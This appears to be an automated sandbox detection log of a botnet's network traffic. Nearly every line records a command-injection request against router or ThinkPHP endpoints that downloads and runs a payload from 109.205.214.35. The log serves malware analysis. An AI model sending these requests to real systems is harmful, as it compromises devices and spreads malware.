Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:

Source: unknown	TCP traffic detected without corresponding DNS query: 156.187.31.50
Source: unknown	TCP traffic detected without corresponding DNS query: 156.229.167.50
Source: unknown	TCP traffic detected without corresponding DNS query: 156.250.234.119
Source: unknown	TCP traffic detected without corresponding DNS query: 156.209.35.50
Source: unknown	TCP traffic detected without corresponding DNS query: 156.228.122.152
Source: unknown	TCP traffic detected without corresponding DNS query: 156.167.137.35
Source: unknown	TCP traffic detected without corresponding DNS query: 156.165.216.133
Source: unknown	TCP traffic detected without corresponding DNS query: 156.128.28.43
Source: unknown	TCP traffic detected without corresponding DNS query: 156.45.44.111
Source: unknown	TCP traffic detected without corresponding DNS query: 156.135.84.142
Source: unknown	TCP traffic detected without corresponding DNS query: 156.86.164.86
Source: unknown	TCP traffic detected without corresponding DNS query: 156.194.41.205
Source: unknown	TCP traffic detected without corresponding DNS query: 156.59.138.227
Source: unknown	TCP traffic detected without corresponding DNS query: 156.99.183.181
Source: unknown	TCP traffic detected without corresponding DNS query: 156.190.18.204
Source: unknown	TCP traffic detected without corresponding DNS query: 156.91.194.178
Source: unknown	TCP traffic detected without corresponding DNS query: 156.7.2.153
Source: unknown	TCP traffic detected without corresponding DNS query: 156.11.218.30
Source: unknown	TCP traffic detected without corresponding DNS query: 156.132.42.244
Source: unknown	TCP traffic detected without corresponding DNS query: 156.34.145.146
Source: unknown	TCP traffic detected without corresponding DNS query: 156.103.120.100
Source: unknown	TCP traffic detected without corresponding DNS query: 156.85.59.213
Source: unknown	TCP traffic detected without corresponding DNS query: 156.150.7.147
Source: unknown	TCP traffic detected without corresponding DNS query: 156.142.164.200
Source: unknown	TCP traffic detected without corresponding DNS query: 156.185.36.171
Source: unknown	TCP traffic detected without corresponding DNS query: 156.75.250.82
Source: unknown	TCP traffic detected without corresponding DNS query: 156.95.244.212
Source: unknown	TCP traffic detected without corresponding DNS query: 156.208.136.207
Source: unknown	TCP traffic detected without corresponding DNS query: 156.80.65.93
Source: unknown	TCP traffic detected without corresponding DNS query: 156.108.241.194
Source: unknown	TCP traffic detected without corresponding DNS query: 156.254.73.132
Source: unknown	TCP traffic detected without corresponding DNS query: 156.177.18.29
Source: unknown	TCP traffic detected without corresponding DNS query: 156.255.43.178
Source: unknown	TCP traffic detected without corresponding DNS query: 156.168.101.177
Source: unknown	TCP traffic detected without corresponding DNS query: 156.82.14.19
Source: unknown	TCP traffic detected without corresponding DNS query: 156.43.199.144
Source: unknown	TCP traffic detected without corresponding DNS query: 156.162.49.69
Source: unknown	TCP traffic detected without corresponding DNS query: 156.43.55.226
Source: unknown	TCP traffic detected without corresponding DNS query: 156.224.131.238
Source: unknown	TCP traffic detected without corresponding DNS query: 156.255.186.213
Source: unknown	TCP traffic detected without corresponding DNS query: 156.133.184.49
Source: unknown	TCP traffic detected without corresponding DNS query: 156.57.253.27
Source: unknown	TCP traffic detected without corresponding DNS query: 156.125.172.109
Source: unknown	TCP traffic detected without corresponding DNS query: 156.227.177.227
Source: unknown	TCP traffic detected without corresponding DNS query: 156.177.119.14
Source: unknown	TCP traffic detected without corresponding DNS query: 156.202.160.83
Source: unknown	TCP traffic detected without corresponding DNS query: 156.239.180.48
Source: unknown	TCP traffic detected without corresponding DNS query: 156.236.27.244
Source: unknown	TCP traffic detected without corresponding DNS query: 156.185.199.79
Source: unknown	TCP traffic detected without corresponding DNS query: 156.181.240.129

Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
